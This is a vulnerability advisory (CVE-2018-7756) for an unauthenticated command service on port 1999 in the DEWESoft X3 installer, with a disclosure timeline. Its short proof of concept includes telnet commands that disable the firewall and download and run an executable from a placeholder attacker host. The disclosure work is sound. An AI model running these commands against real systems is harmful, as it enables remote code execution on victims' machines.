DEWESoft X3 suffers from a remote internal command access vulnerability.
45f984eff3502fa768d2b3fbeb988e12[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DEWESOFT-X3-REMOTE-INTERNAL-COMMAND-ACCESS.txt
[+] ISR: Apparition Security
Vendor:
=============
www.dewesoft.com
Product:
===========
DEWESoft X3 SP1 (64-bit) installer - X3
DEWESoft_FULL_X3_SP1_64BIT.exe
Vulnerability Type:
===================
Remote Internal Command Access
CVE Reference:
==============
CVE-2018-7756
Security Issue:
================
The installer for DEWESoft X3 SP1 (64-bit) devices, specifically the "RunExeFile.exe" component does not require authentication
for sessions on TCP port 1999, which allows remote attackers to execute arbitrary code or access internal commands, as demonstrated by a
RUN command that can launch an .EXE file located at an arbitrary directory location, download an .EXE from an external URL, or Run
a "SETFIREWALL Off" command.
The RunExeFile.exe "Launcher" is located at "C:\Program Files (x86)\Common Files\DEWESoft Shared\" after installing using the full-install.
Internal commands used by "RunExeFile.exe" for which I could not find any documentation.
RUN <ANY EXE>
RUNEX <ANY EXE>
GETFIREWALL
SETFIREWALL Off
KILL <PROCESS>
USERNAME
SHUTDOWN
SENDKEYS
LIST
DWPIPE
Exploit/POC:
=============
TELNET x.x.x.x 1999
RUN calc.exe
OR
Launch the victims browser and send them to website for a drive-by download etc.
TELNET x.x.x.x 1999
RUN http://ATTACKER-IP/DOOM.exe
Then from the TELNET session execute it from Downloads directory.
runexe c:\Users\victim\Downloads\DOOM.exe
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: February 9, 2018
Vendor "thank you for the warning. We will forward this to the developers and they will look into it" : February 19, 2018
Inform vendor of disclosure timeline : February 19, 2018
No further replys, update or addressing of the issue by vendor.
Vendor "We will assume that this issue is resolved and close the ticket." : March 6, 2018
March 10, 2018 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx